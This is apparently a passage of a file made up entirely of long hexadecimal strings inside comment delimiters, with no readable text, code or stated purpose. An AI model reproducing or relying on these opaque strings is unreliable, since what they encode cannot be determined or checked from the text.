492a457cbe1250327be91f8aeae8a9d42ebd6d5cff6550b5317791a7d06e78ebb7aa46e572e498d5beda8fdb7d9ec336bd6aab771617c586830a70ae7337e99f49bd1a16d4ee9feec7af1867a7e552067e8a63db796b667114379d1756a8defafbf092bff127b950969d7e0c49201c13a890d784663a5609dd5a769368225d0868f3486ea98d2ce0f7549f159af3992b869a7bb8683ac203b210f97ea20cfa1010be5bde8bf0449f6e38ea031610dc446ea73dc23f961870616a8a5be8861d871402df19d1760ce7d48501799f4d3e77fc41112b69648aed5e2b85ff2b45739826e7e07d87b7f3f45a680ce70e901ad03e41f73a98e337f1b99debfddeb83f6440683d1aca4ba4a1662e1456d6da312a402344ae8457db91214e8ec700a7de974ef9e294bcff60cfcda3884c6553417bf2438d7317a3f377058c76530df1c625e390d7c45a3990f7afb794ebdb6aa7c22c2c2de2e2b202f0dc8cd2ad05026cc01454d4f9212b34ceb05ae24767877bec7797e82f049d479c02cb0eb616a738a2f6e180b021ff7ca5c841116817ad231588ce31bdc61985b9410d628cf67224101c42e539baf67e7a00f40e4240e73abdff1fc65b8530ea549685c8382ff61199abc266d6272a62d1d21e16b32fd*/
/*819cf4539218e5aa487a63115291e5179f88f6f5bc8434a1ee9f23aaea95170cca9400dc6e6a1b0bb67f95abe3cc8469d4640d76fe0e83cbe295e5074c9ac7caee35720ae9acf7a3f4cd610ca6d99453b74af7e95ce62144cbc693a73e98403ffcf5a3e3f983853313f7e6cec65ff9cef72cbca37b44de0e408fd603f468ba85d5938541da025e4efaf50c241279cef396beb21e8342889d37c1bae0c632e22717e2a813b6356e074f4cabe000c99f40c1149bdcdbe016ccf9cd9ac37a436b23a2ba58e74ff2a6823cd9dbb4bfe2762ced59eeaec5f0e6a69322568e82f72caa9fe7bf0f75327636a6ebdf5e7f7714f577f4f85f01ca6312d8e68b2070095bb96b93c500cbcc49b65546f3aac9a8a4ba533c240192f057d1fe0986c46ffd7c84ec1048fb7da4611b471159d465020eb3cb4240cec19760b37d602f2efc2122cf87cd37d4ea1066d618b49874e3206e642f3f49d0fe3f6dda33e4fc09371e6261bc8d16394a410a7d5ecc2e4f8a85ce3744f1a93910c384a29ad9775e8802355eb36cb18950ed9297ddd8edb7712d514afee1dabc35d73a1053f985283868fee41e3d8834111f8d9d42b074112d94b67e8099387e85c425f41f850586c7369d06ccafd28dde94f5eee0dfe8cf7e8cedd26d5f62f170d07234958f6ba210849ffc981a88913a91ed0a7fbf1131bb6c49eeef9b0c9a53fc5b0d2cb1340b5f08bbbfa4a696e03b6ae92b65c7a1b87eaf07ea51bb9a94b68e20308ca2fc1cd3d501923264134d5f75c2c4f9f672f447a1a1d6b3db76062a781084a7a8b7137b0160e91f9db06d625e7bad099a2e5c571de8b7d3e9318c4777ad0d05ed4934bb5e9fd6184885bd529168c410a5b44861be08fc4952e5162e9985dbf088761d2d26fa136e262919e799e308e61e6d9711d7043d2d4a6682a1e1f1cc78be2af1746cff768d46c3ef696a25df6f74dbe9a36dadda23f777e331108d69e48c608a4c79b7e3a447e8cb34b1db29b8bbe73cc2dbee980bdc6110fcdada328cb5f157903d81f46f6be211eab445e509bbb19e27c997d0001878e35024d04e9b7b6b681e715a7b954e98862bca63e8ddb51b319b0df488142e13ea9930c55ab7697a22b164fd9950513a9fcd3b5d518ac907afc92e93293116727135716fcb7f97e91e9313a9556c006291aa827aa940ded77ba4b37759787da36fad687c2d847a059a16c0ea01ab2d4e77d1f44cfa272def9a5d875a9d8dcaf4b83c2f92e9c110516cd956f51bfb122b7f436b0ecd8fbdec78e4796cfa92fea1aeaaf2ac9ae420ea77c0ee0fb2a5962078dc3326b3e4016b8e002501264cec24d56b4d2a3f0703011b7631fc1b02ab681f2ec45ceaf454eab387a7ccec1475c52d7fedccbd306da13b84052214344fcc0a1af039ebaf04a6d7f6804c08430289e790d7f233f330ae87878a2577aae44eace9c3b21faf3abebcfe1612a717b5446e6197e08c43005cf511cc4a5dc30b0d52ec6aa19fee03015633d0f102c9211e20966e7760e78c54e861cccce96eb6e06f91a35c76e75ec94d7024ef2468b528d0f1e2d8d45d3bf6a5ea0547de478d1f60f1749a1538ff862544056f181c0f725feceb6d5cc5eb9a4cfae083687b8ec7f3c226546d80023fff0e4f83d2d13371363cc2225727216414a6c9ed00e49ba9220b6616421d8b2e4fd3c64fdf33cc1ff442790f1db1237682e6ff14dd0f1ee8e843ad5065d32acaf79fca7d2c977d59c6decfcb32ec2e661d7e0c302227ea12fef18257168a9e849b3ff9fd97c8fe58b63d6f93626e0d77a8620c9bc77912fc8d4e56410328927514812d0227178a483836a3479138e6486d02f08558df129f2cf415cd8bb8bec0a34ceaffcbe0ca74a647e88b71012220ced8b0bf76d941718c2bf1b22f610a33775ed969551cfb47d791c19d3bdd5b8ad10be651ea2ac71c2b32e621cb74447a6de08f81b683841bb27b4e73a24b4500f6f31f624c0a7da6350ca7ddd68b20390c04ef37e1ede28ef44f69bf3db6fc4f89f5d25afaa8da90ca6d3e13209f4a4adab7bb2b69ffa420277fb7db91cd259518b70ca20d5a0db611111bfb9b450897dda39ba1ff7f4322e804e9da72296f52f49c0967ae2a129e6d8e862a719707bd8bfbad7d9b0f6d32f3fd55d0c91bd3d8361379ef28e04527ae1f5eaf878affa9857a2b73c43308bf3c3dacb78c4812b6147cb8a15d7be09f6671b2960498f0768eb51daf6c8f995a404f7c051b6524c8c6ea4cedd83e252a0baedb2da7c4e89d38bc44e7352b62ed63ac4074b289a64d8aacacf5f30e6bb5b243c7c03c5fa06f74064ff51c75d7d8fc8491463498325a4c6c72dfd9f986718dd76f2e57e0e1c0d5ee6c9aea7d718837bfb1fc4837848b3f2df3e250c9b2ce267f51c27a0001647a4368f431105c563636c92c8e44b1f9bceda818bfa927e475cab6489fcf8697a4e88324202bfaa9d331fa8997215c27b682c78c5f10ee1812d4242819cae7601d91f594264886548168b3aab654e3d88ab2db729fe445a23e4cced1475ce7fd13af60946a2e80508961658b2e759391a033ea0001be9d7e75628edca9b51be11ce6780ae28eb1a249c85334e6469b3130f73d2f2b737101a143a8092f9409ccc5a5d06a74bc91ca2b0921626cf020fb125441118e2f028d9337a00b0a50cc09f5d86e51719499b35e339c12ddb016b8438c3e17a28b4cf7bb6553a03c61c737f726ca369c13d4dc9a4f5ae0a82dfa0ace7b1a5d20f9b39248e64fc7f0c5fa254a0ed79cef5befca1c9e8f3bfeec8cc3c396a60ced0a8443839659c30f65a6dd6a4e8f0651*/
/*0f116df0b14786c013e8491989369889ae0859cbffa3d72b8b05726a0bcbfc1689a3c744555695789ad22bec3f2c986051eb79ceb4402c45fcb48b7c3e71910a5ab580b4d9f1722e7a6a50ecd22dcad1799db966199dfb6e1266276a88f7c2189d73e0b9914ced164673929434c27ed1c6baf25688fad1dc99449e794923081c6caf5752117c625f6463ee39fc69d190f5b2bda91a33ec1fb1e47fdcee7f1b668a0d5f1021cf8123f43bd46b6667b5f2ec350010d24495c83aa16f6400f85c4a6aec615b06bd18d51c196dae65dc00178feaaffb81acaf910e4bb6c6d3a738b65e4a58d71f30de90e527035013759d6eea33ec1f3514908b5b2fd5eff3c8c28021da704840dbda6c8857a433bbf223940c673a991b8cf99ce8048f330419c6eb841705cd466112399f5f6d0cc9920436f741344abba1e042bb2aa81e860f353b08867406a79dc8c64b299b7c572fc4f10b0c39b21b226efb26b42bc96d4d5f436cbf52c7061c2e033eb99392dd3f9ea8ebd360d4a15473f364743ff6df3eb173442136d56247919c336dcd862936c07ef5ac94397d248615422a5bea1a2869558c79a1d1faa019e725d9f9bb3a0ecefd8791c03755183a2461063b7a8325f1dbe8e61ba75571f1aa8035c7f55215efc7b0257f4442ac0a3d4f0fad94faf1bb775e657114b5b0cdb1de2a7c4f358e829bd1ed567880c65b11d698d4af381f0999a96131fc731cc054de9aa97668bf66231b78bc3d9967987f33977e26a75864be5d50a77c42df10f68242d4611b71b67329f40cea3345e0c5d27ca3d38bbe500ef72712508ba40207ce4a08588ba0bf19f9f9c5a7c6cc6148662561ff1d9f77ec9e2392ff0a78e9afff73aaf937c67baf87baf4ca78f5a2e03f08bb04e46f08a16183a23d18013db4b5575dde939f310b399eb48307dd6e208808801af2697b2cea04627a4b5edce129d8b19c36f5fe88964cdded62e17ae8dc5d8fd9df5e21063bd6d6529203e7692d007286b7d2b16b56613f941e5489157b434869b6e10caf788dd78acde434828b9874f8c3772f9cb4b873d035ed9bb8fde64348865c7fc072094641b57ba94431fc0942418c7769fde55386d5e6186ac0a88685db241c18a691625f7a08b4852d64e79d3c4c80e8c50b22b4a33067a96aa93521e75918fd04c35d55e72b67374e5c7c1815077c005bf0ab7ca88031257d612c4562b8bc31a7edc81559b5b51c933f8264d9e1a334d2a48b1ffd683e3db6e0178d24df13317d48e3d369d7eedffba88051e16a9cc61724f4381507e07c58ed8d1eaec84163eacdd1af52b54fc05bd0018a4f448faa507c24d562dc97e7e929b9d66f1d59b66c71bb964d2f666d9b1f6bf508050775753ff43bfe15534bf5bab2328cf9a9cbea50d0ef5c9d4340cc2b71093a7ee17c30952380c69c90190085965d77d8720dc0b7f686f157de41eb4aed2bf093f8448a9919bfa91e46962061aec05e7c5c239509298b43246f58743fcdb6506374473f803c25ef964be0dcb55844da7f4ca415a9182281c0d877712c6b614a148f61f7c9644b52251227e7fa3ef29f693065926a049ec0b3ea6606a397007fed7f017b606c37dddc385ae7a6a76bce8f24009eb4130d87fab695be87df6eae5ced59eae16880d0fc0c1f75078582e20e94b8316b3610f0d7335ee5055fce24a6ac6f7a70832aa8fd0857b07a718268eb565b2f02f985d2ac72a8dc56bf1c81cf636f283e1cd462429451417bf56c71e487abad4fd69bf3e79b0f1163ebe186c0ad8a6f94563bbd53e0b79566fa708e7645955b4a69df08e2e580d71bd12073c3c2d3dd0b49deb99cecbbac2d6fccf04c41e4f88941f5a54b884a2a4d42bb95389c810fd8f685a22d642545e10da613b83410bcb48006a8a136ee65e293d88ad1465a3fd3ed853639537a5ea0dbe74c8f806fad21cfaf970d300cd809fd69e0f617f490f54849ab908ea4380359fc3338671dcd5aecf3a84d7241583c0ea1246fe1b0f2ffbecbcf7f99ea3138bcf47a1a07ef7fcb00f24bf1b0acf4da5660b8fed44648f84fb7c68418e2037791456c6594d7a856d0858fe95ca77a4a30c6870deec7e4d1bffb2f4e0cbaacf9910120f56f24d597f233d805e9b9839432531bb9a6a1332fd75017834e863ce8e83217d18c6ed110280fa5b9675fff57cbbba43356a93dc79af16fcd76328fb6360faab897a0cc55a217f9557032fc841245ccec3617b13d33cc0ceb3226c084ecb73fe4fdbf86e15e6a3766c2a8b688b836cceb309a7169e07ee467ee7ae2367dcbecaa41f8949eba5ca98a1d87b68fb81474622881653c46969402a61adf9d5fc906b325173dcf6736cf983cd1a70b2f31bf7aa1902e9666258d3c7554219ed3881fb02c57fb642f6742234c6d0c19b425cafb3e56e7c06701c68d1d70689f6c948700c865c76d744d7fd108a031a96d2d48b99b74b36eb755a63ca65258a565903491ccf88434acb3de7c7dd4177243f4eb7067e42912e33622ed2588e08c6e2a13a4f753554eb2cde89c233d2d93f887d1a9f78cb4fef20aebee9e3e692d70514cfa1dafab2811cdfcbdd55215db56c006a6d472e4ee0fca1a79a5b01a4eacd5f18bc328cb720cab82ce1e4570260798c1f6c1346cee0368b7bf29f58f42409428c65e8abc2cf16619ca9d08911028799fa06d6e4b63e6f08d3ff8b60d834af29d4868da7b77a9e28b3cfab4397015787e985d83561a94c29ba897d8139b19ebf344979d930ec319af6365776bcc0989bbc6b5faeaaf9f37eae55618d59d69f4677e8cd6cd8a0b1019ae9b7d395b2bf57d20c1fb*/
/*10ea47a3619cde100e05f04d36e609a4af4596c3563cab6054ce42711f0394aec50769d83e3ba505ba57210ec2aea5e56a19c90d7466878088e9fadcfd40539e2e11f6f8d7d1961eb219c7639770f2af74a3edf372a731e5c9052fe2dbaf1da90a62659a838cb9514237a646e47f4c71e99272590e2bc38f2879784cf6c64d3f8f5403d8ff2ae020899f55da22efe34aa4543587017a7ba1a68b402c792dd0910501ba41bb3cb5f01826b3c239711ba09c191b0cee98479992c5be0f2a5884dce101e1d57e20224f2e86d2c28407d508fd0be54823e41c87758b3a0d09a9b5c181dc6dfef5418a6c4a686681b60d48d251dd41cefd989e34e7681422fbbaebf1d38bbf391cf62c4813776a957efb29fd30c2498c727f5ad5911559a9a16b9e2455c519284c36db2738505e88520eafed0fa98074d2e07ef5f12ce0cca8328a261248fa5f6191b37bd88b7d4522ad706282db14d8ef477da44a772a048c9d48883bf727088ab0421a7d715bd5ae1c5c14380573d0715cfb0aa263e4e7413044d473a07d3a8ee910b02b46d6f5bf612f1fd5cd1f9ff60fd8434a8b2fa2bef1e9b19e1a6fa0dcc19d7aa5b2f6265b5926e72ad246932edfbe27ea3c153221ff8f0a4089a6ce16f8b140c30f36b413c4796b9cdbf7da302333fbddc0700b8fbfee1a64f0c497797f3efbb1011d284490722c617205657e0232b99b5e05cf04141da25e4ce6c58406ffd91baa1c9842e8572d82c151d503b27081f93455a147603f4f34ecc599bdec5e3f3b81740f11e51339c15a862d48a2355965a63e9d418efc906ba349ba6ae3f4980280f1b9c504e32796a73ca6286a279269f0f672cc3941b72c9aa49bed8ba9e4c6f5f06e4e50667b48b7e444bb146d875773e2b5132e90cfbacdc49f5e57d30533d2f6e52b317b4f9d149e5ee6fd076815f3f79aa177835c20cd67b875292350b5b58c87821481da1ec2de977271a623a485f28bafcecfa42a3f782efc59aabd829076df36cd64dd8eb3504b7fe909e96ccbcb02aec106ad71ba0faa68385be844a1725f2c0541b843ed69e79179a594d19e13461eff6374f9bb7ae3b79ae5f193ea29872eb9a26838e75a7cbcb99bb3ed15afff06b2f4ead593717044df74697de8cfc82990e27a8737f5583603c13d753a8650972fd2ca62003bd86fad8e7274a40442bd01fa61eab651d986bcd37ad28ab5293a182eefe88e55ee2a9a8f73d85f070808abf491d9f1afbafd3048d40a2a79ff8fb120687f3a15b78e31d432afb5a4fe40e7f8d6cc4a33cf92ca480ce8a9cbe8b7c1ebdd270534fb69d877d72d5ed057d80f91a03400a1efb3f54601c3a12e193a898ceabd14494440c1334926dad2c76577dd2cbda9bde49d5b4c105cf0899508ad752c22d9b7ffa9774725f952a791ce2d03a52d9741343ecd289087270a3e23361434c5b43fa382c5001cda7b4484ddd823f9d8cb8f1746d2750a47a1459bbc336b54368bab47aa43666809f1e5f02baf1cfcb31a7a0e2c6037572eb0eb641a238103daae3fe3246d851eda665eb663ef83dda6d5220eeb1a96d4c53e7c2adb8063997ec01693ce493eacbeb0e12bdc5f80c93db1707681945273f65a0e77ee745da5e0399781ef477c5b9ae330ea44796bafbd17e4e018d237260065d296e203089ceab0c00f74028f5d972c83a5b6db18029f2a12a09eaf519bc9b7c22bd53812af4484c6c6f478def25165305414b5595f27d13cf5bf0b74e9cae4fdff2ead77d11280acb796cfdbbf1a6ad92231b95e3e00ce0cc4addecf98b3c8d0bb1dc5aec682a54df984ff13c69d34a1c7d379cac0e688c71d20dcb3d6c9622888648550fbc05da8574a6762264607c4af6940aaef4b12034148fb9d2523f2470830a27f812de0e59d54af8310f792c238f2eb804b86380dbfa5de48f296d5c6a32ab452c9cbcbbc63db46c6b731832b634278e8ef5c42904da924b1934f902468697fad1c7cd23ac0eb85f484c5a7c56b70273c29858c81b0dd0c654083551b04de2d9a06309c6598b231ed285b91b3ca889658ea932854652de13fbe320d66efa36d2bf175cb63b6009261304bb7a60c2dd79dc0cce20873106a34498518914d9471db9e3b6992109b97e327539aa02382259bb28d56a4369fdac2351155cf249a2a12da20f9d04fba46b8a2f6d85a211aa90d5604a84327e93afadcd7892467b61d7aa48f40cf6fe759204720c2ef721023dc3ecfc1440a8d2ef00befe4c03a8e9c4db26f00954674326a42d65a2b55f6002f2445db23a48b57b713cdfa529d8e4db989fad80bfed35428679f100f8070de8aea8a4955b5f2b0f056005682507253c39482f16a43b08b357d3972aa00454ecdbd5f0199d41f808b8fc6619b2b5e12334114eb748b440090bcd0423a50d4c56a38e347531d63a4cf7acc41d70f0ae03bd5618e01afce95235ad9e74272a2df074f098b9160bd47415fe572c57646bfb13a363d9854ce40dfa180c2f59636d362d2d3b8a8bc392aec64b73e461a04ae1d210bd8709da305fb50d3b93b5dd5c233940c40c269385d39d8231250593bada9d0cab1990e9b8931c4afd29795c1683b59466a97c8d4ae647b4af4950b8905109b460d412f3dd6383ece86c3d189f461c246798c8a1be8823a2c804b3c07bf648126a0235da0dd7ae5dc9b3ae3bd1ac9849036df23cffe7afdccb5e79d479275c0a7b0f6f0edf2cab3fe7cc3f8b72fe68cd9beceb620daf2e12629e2d064eff066aa79afda83c1b7ad702298812a7bf9e0b8b4ef43cc6164dfe9137e4f06b61a3a1f9536ef5c36877f5f25853b1ecccbf3*/
/*3770c5360636c3d49145f0fff098cd6ff6760128e7f2167b208924a32fcb9409e8a30340b6067ea583d17a6d732326a55b611497a205bc8458fb104e20f640fcb49b8594145f7b7317ae8d5265f4c487bf51b46c1d3c371b1ee0e1e51a7bd035cf7b9b601aa8c166458892d539fb77fe4d4b33a5f230f77e5b5ff5ecba58d36b40624886b84f5a6d6e0b90e2c9b6522018240721d75afc4ce02882bbefb8cacf05407b3b723529e9de2bbc35b900230fe8fb8baf5eb47c514aab893ae4923d3177bf1d27fb3ea17e3d65d7270c35c97fffd18bc1795167da53d8f0da2d7165f1075f0ebb91bbe0b454dc97d1c7082c9651ce60a6263ffefc983ce2f1a1fa77c72b70968fcfcbd09d10ea36e9205ea7de86323e0db215e11fa15da9f846e19a35215793f223f14235af7da3f3b18432c8a533c748ebe9c664ca7f955fe90efc2b1dec0a602c89c40cd3ff9c22d1314979706c2fd1dc97973bf60811eb28399e0f80e86717a8391689dc8ce8e6676b7a6b937af6d93d46267a212f08cabf212f8ff5ff773a6232a237ae4103e3f8b775072daf96159e503e6fd841d56f00d1cf2b9e2897c144e8f6f8d27ea05eb0e215ede4e2e4ee0334e2f2522ddadb5f87f3149dd14cb589eedb7fdddcfd68deae81ec5a2402708afedcb4907ff101f6864a531362f33b6baa0463af382f1d57672ee68f2ee16d0ed967ae0c7c2e8221e9134f4dc490843be5bc3e0b9ef9780d436280db0b1fd4e63b862be5b72ae456318b037bb873e4bdc50510e27811c57b635ecfb349c3c038d846b668d81bee517adecc8309eeabf04ca87aa5ef7947853662400aa92c36e5331d58fa8afcdc66ea56f78587078c888af6f58822a0132a90f0c222694f47656a48d4342e104822eaf0d1429936585b63a6d7c858b22a5991ab44b25728be2f76dd3c67b60109faffc493b03153a0c5ed5312dae7dce53b39ca4bb1a4ed77a0f68b3a7176d5bf7433d28e2e97bb247692524cbc9700983098818f36df247b6845137287678b11af67a2df9e805f64f1aeded73c1ce83bd47a647c6c42255dec647500a6398b3328da0dd1ac5f1ba1acaf5f54e90b31e0c70da5d15747ba6282430745e5700338dbf82e193040a2ede9b4b6a8a5640b05624ee3208a7a37e5a9e5328c410abddfc3ec57bbae2bcaa942a87181718f9cc357c5c57bae267ee92f357c1b7958f295c4b054ec7b6ab255ae3c139c8ec893e0c9a7754285845be181950025b6b27617cf4168db1c5e74fe2c49488ed036c09c061ebe324d43ee0da5cf63d316778a14c5cc60f74e0598e630bcc20e9e88526d0d8109825f4bc14a39b8349e6bb7c2c88acfeb2f434587b67eb7886a5d037d3728f3f5f3fb6b3bda7f3669c8f1cc471c3f5ec547931985bf1e2ca71e1a8809070fbdee2d1e6261b2addada9714b027eb93620eff538dadbef256872d1f7e09124fcdede400100a70fddc4ddc73036bffb4f0cf9525fdcb3d978ba7849d247294308a2126742f473dd33e97f4861c7dfbf3ab616e7dceda552e376fcc6ca75c811a19283e4a3d2f79a441ba95c174f120fda95f8ac6f687d939213ab53b9e12189c6a9ce10ec2601468d7759d9388344bff44f2caea97b5885118c155482c251d509f59534dd8a8dcf60299a0929c02296353171170e71a37fcba8c294457495c10eabfd8bd1c79106199276bd0c70315b235a60ed5ac1973d10b1a4a31365f34211b7bc0e5809cb257180ed0b7bc3f2228ad88429568968926cc1b5bae513c0226994354bf70d8c4949fe9a5b598d05b0553663089f7e5f4c852f0800a93adcb1d8ba71f1011ec2bb133e3a55cb4814e6bb64fd4dbbfe4289647669d4e9e2ea1b4822c75b821bc1acf9e176dceb3b361b79fa0a7ede0ff7af7dea5565e218951a91ade6d73b2274cc35a04a4e5fc110527d7c4161fb545ffcf2df1628009a85e168b45936d503438a4ef37ac979a3c302791610e92e078ed96392955e4c34840f73ba4cc579c2fcb29cf9953f5abc3df58a88fbcbe9878882a753376309cf5416374fc41f5a709cbf89d74c45bcebbb1a45b267c56b091f7e204381d48def43c4d5d7d32e1669bb88f880c934dd3bc4d4acaf6a56408d6b1471f3255ea887a55bdf6fa48ba39b8c789c90837e4344f1a3c6a8c2fefc82629643c331a62d8e78690863463a19a791bd46a967bec614018bf590d8e435f50a52fffa31678f5f4be560119d562a5f11158b9d7989abb924c2544b491121f363844924d9bc1a796b1c44248c3724579a0570571cf7522ef08b06ff93534df0827e4abbc4a92177999bac1d365a48dfcd2a6f5e13ebf12a435133456afa687e4213678cf1c48486d88b38421b7b9ba2274c064ea598a112956b68a7ce13b44ea4e31ce69182820464312330faf11ed4e2c22cbf2297ebbd80e3130417ad174490cb9904499f012e1bc4ceedeaf4ca6e22854c39f227cb6c6b5c9b4c0a719da0cdd8f104601338532c4542c72586c22850d9e508326d29003001e6a8ccead605f15327263dadac98808fb48f7755e3cdf74c850538c5fb11b6491de9875793a6b8accfc4ef9eb5f480b60cd3653697edf2f4da4bded514473d29f5e908b81aa034b1a51e46351db34e7ed17e1dab3fe8a695d9aab31b35e23c92015f1daf9f4c04d9edd73ca234a169b131d02f498944900a943fc47aad36a759a3e037f8e21247a13048019c2867f0752064885005021dd38864a360826d44d0517157e0a5a7c59a57fafcfc5953be3914a5045dcbaacf3923b0acd0160607f2bd1c955e4741be27baa525f4f9cf5177128de33*/
/*fed68a611f75984125dbe4feec4d71854a0e53c10af712da72199d305aafad3d9e72b92a0d566a7709629ec33c2aa0640050f5c47b929e5bae4cc910cf1545af136421f2fc1a90b57be8e1e0d1ed17310c1e9bebf159e147ebdb86de8e2f412f93fde7773df88f294f0f32e8c29166c7143220b3b04db428efcef91f755624de8db438c2813c3609eb7a2ad548665155859cbedeccbe25decab8a67923c30d0f7d938a1a8cfe9cf308f6d072a6cad9d3cb461779db8cb404cb71233b049059d3d2a989a3cef61140abe9e1667244c8d728a4d8871cd45b033e19747c33cb808971a8adcd22bce73826860ae1bcf058bd07caf127fb6ce1307c9bf4e5b6e6a7ad3fcc9b7edfc7d706db2a60eb523a572fcc3a8e59414c3eec14254b87142cb031b2e6950cb2b63547671f20aa28c165b2a3e8dd9f1a4179fd48ce4ad334448bc809d41957f5e3fca0a5164cade4f92e65915aff9b527ad5a7844bf537837359d0b1d3674cbcf9388ad393ac2dd87a280288dab1b5abab3e0265c1bbfc881cb232af0e6be3143f5e567537da39bcc48a711be6f95091d19e00be71c361b794b91dee11ab33921e85fb590004925ee534d87c81b4562d5924b7979c2f409856d79ad85b8b9244c38f7eaa6daaa7926affd6114c7328b858485a7998459d5cabcfee869e58fdaba78a1d4bec8ee078d826f786105549520748cd6cf6cb65941b3f8944725bceab52bf44896e63022db43559bfd3043103917c034ebd78356f5ff3b745da9e9a50eadc0a059eeec6a548812d4a7207f3f6e387dcada8e1e471f4b904c9f3841e212eea77fa9eb2f8ac52ac9b4841ddab866ec941de5c4c4796c46251e5293c3ff0ce0de63e989afe97511fc376d71853fed6a95c933f99aed3dbe1f1a6ce4eef45be72078e408b3ef3ce90c07285f271d3041dc846d9a3d1594d5e7451205c2d68df2d82f91d646333faa92d40b1f784a4b6fd196f697c365d23ffc722731703fe4f6e6e681cd2af304f7eff6672b5ab97aabd81441a2aee8083ecfabb1d02b61e183cf8b5a7c71e57f31c63ae596746f7fc0458dfc43fcb16bd1acaa09b5845c1daa987b0148abd22d3baff9bd70c3fb673dd0e3b5801bd622dd9bb2b5c02389a86c0a8050649e79ff2f23a87068a99a51f96db54609a853b84dc222e265983d6027e012e21dd5bc173bcea5a30a5b96ec088aac2951b849f0c17c5f35962b37c9368e11801552da3a54efe1a1200577cecb96846b29ac2c073b8de668d6cf18fb09d483436dbb227a5bb849dc0f8be3c0df9c097c30e48d17f558ad1e527cd3a799799efe564f4ec1303aaafa319695d38218b23e94412e040aa6d9eafa311df3d2953df820078500e581239898957e17e3688b7c20b254995d9affc1c65ab99e831db9f96c39e2de78fa4d89ce90f8d8637346215aa1ffe0a2d7dac823ceb12f6e9b75690365b16177e5ca86050f70f76986ad3fff891341f2f48fd04857f848d6817dc4106ae40e0a790d1eca63b7391f0d2fce85c61c7743b21483014f70e8c357fdde1ce26c7116d12cdae3253926047c4db508ff58a52f606d2fb5c452464ff0ad091e9ecdf531d0ec7c2c7d20c35a3d591225acaa21ea3aa937935d0a6001ffd11505be61c23f1c3ae1821933d3ba55c8fde4671391c1139cee5bbbfc778b8409d54aeb40e5247708a84b26cd0e34a207395407ff0c99186e6c6b34b02dd6c8110e29f289ff477e63dd55e44fbf848ac43e368b1f57b7cf38b5f57d9323a12be47e08a307d4755ec746af5d4d544b444ee467d2c28b09c7d689a49264f76d95bc1c3e4256a94ba8822faf90fa92fcce3707eb2cae7172a21587f618e2d715e09a066d189ad1e5776396d55e608ed46437e402d946e6e005cba83eb7f61c439dba569155959583c44cc9d53eaaff70d0e655d57adce673925672b44c153246c091e79598c35e3b14eb377e6418f146b67c9ef31be86f48dda4691f0fbb1bf6539f5f9de7757d2187b9194be1a291b371370b2f4921dc9312c1a7d71b5e11115b412b9633149bc9040de2b65e4c8a8e267b308a08bf57b8194017bf69f74119ae1be7c42f26bc740c15a30181749e280dac990bc40a21419ea7f10617ae1d24a1acdf6987f9e9c9caeb5d50b3c91cc539bf2f86a063d71362a98255525d171c295fb2ee060fe9f94df03ac23a3e7d2c97091186b2b62f5f74d02cd5c96e157d96c57f0c970873d05ce1fe55807f37b8e93a5596fdb5c82876e9c6054246c048b6d1c9be939dff137cf49d230719a38ff35f8c590f0f18eee5dfea5d458daace701170c376f60547528122311f05e3812793e598a2be60b1f98f8b37e78afb61537972ccaf10b44568aae9b412868192d713c2253f1a1c7f10bbc28c6cd24bdea3ec71086fa925898d545b39102b05d19e62743b8022794a4df5ecc806ce663931b894e1a3b6423e7b8a28ea524890d0b0aaf6a4f61bd13d4afde98ee7d10e8dbbbc561828bd2e87131262d44b90f4b56564e039b8cf16f41c3e1b28000071a2195861cce93f0f0b56af83708a26e1cc1483b106ca4800e7b8082558927e036a37b95e7be7145c1fa93afa32ee8584435c61cd0e22ef69e37d478822c1a8eec99c9d2f8bd4f46b3a5f79371927e44ab034c4de0c2d16b558e5a1e63259fedfc65d0d7ef775a717c633f1ea43ec19a163d074412986612af5c93150d6dda9f86643f2cca030ebfa08fa65356229f241aa9dbfad070dcaffa13dea3684994b16da2335da3879147ed98003b925ce50a1fa6c4436a6e4576eb61f432a8bbd53c50033ac397799dafe9421f*/
/*565950e98f95606e983fe3b4d94e7cbaeccf64a499379746672e534e45e1601ce91dbf5c8a1bf974502360d9c0d27b88bee27d2c759e867a9cf7d54e57652d6bccd33eaff49a16d1943d59c1da87cc5cefdcd880674734f64913ba8e838d66c408b06626a1924537cba905b3a9fa83fde5098f9a53e921b0958ecd46b624748238ed66e122befeb70d920017d3cfdb16172cc0d48906f92c7cef3a8698166438f2cae72d8fef605f145c9492dd7775fdc4c786516a1cc2d8d9ddce46cea55aea957453250b964c9c58d14c488fbdfd877dc498a200fc5fc746a96bcfb9166b2ad53a65520997977365bf9a479f44be9aea6384f42f7f5e63ca41e7b77f6106b093d545d33534fec02c7d213abed405a37f71dc51d48adb170d2a11b1a29f13785c94cfe0a249c7c153ff64e246ec6d5adba4048e4c5cf97eaf8f069c0b87c8f3c6659642cce10355e8ed632e1d4f37743863ffcfa5af1c017f336e8d90a779264bd5105ba7fbc4cba797d8d8d344f16ebccd9487847a92eb2cb98db220d38cc259bcac9207f1c2cd16eed4a507c5ac0c6882ec258215009e9e72ff9f861d7b6d576c8e7ed9838b549b9f35f71cf4b5377091d5ff7b7783eda4d16971a9a13dbf31907866cc4783100e36403f48fcc9ba0a71b6c62753fae163171a4e2cdd2c245d0c36a53ee87f2de4c981e4affe3e89a87ac5d721ae97ec702924612580bb1e261032080ebad85303e0f357820026a0e90af9cbfa9b6addb76b0e3300d36e3a8eb32bc2d74e03eb52d7816cba7fbd74d8332ff834033ba2ad6662c91758a92450fbeaa7c1ce427b8b3b0639100f84368445271c80f785d22b5d9abd78636e8c1164b5628a3c3c424f3ff94964c51eb4ee09958cd5f6d0185edf98561455b252138a8f276a347c10d5fd069f6aa7217eaa1349f7314b3f66a160be3bddc16f89df0dfe983491cc011136d79ce4e4c0fa7a89b2d8338992e9c7f0ae91adb452276d72e664289a437c56f55a86203c9644b06a83bee46297de4b97e0f61f26cbde4484f5ad0f148818ab52a972ac2be3582144523b08f3a70cda5286082270a8e103da972b10282a10ee57545c4577e2d6c8ec0f48b77fb009c04eb7d84262d3474d2810b6ef0cc9d0b7e7b764067fdc79204e740df6acc8e5d7ee6d8a437d7ed1bddcb44596b78db40403819ebe26340330f96b7e951ddf47d326d08d8db4ab815d45e46ac1baf0fa7070c238e8ac1aa227578f7e61d34c53360e1db55a54e1e5bfefdd0d144b6818124929b3b56b8aeb04dbe1e4390a06651dd5f0c5d27d40c9bf72bbc8d7acb3d648ea9223c559e5a74862ee8ffa1c9f5238a5a160733b077c514dab2a802c3bc1d90ae51b04f602abc4687eba47ce6bc4a876315f46e85bdd40dde8925625c4f0c0c37a9dd7281be59d11cb3c2ca3219bc118c315a9af6ba8eaa62e25646c261fbf13d4bd63dc7d26d38b79a8a0dda5cf2790b5de3d6f53393aadcb19e63860dffe4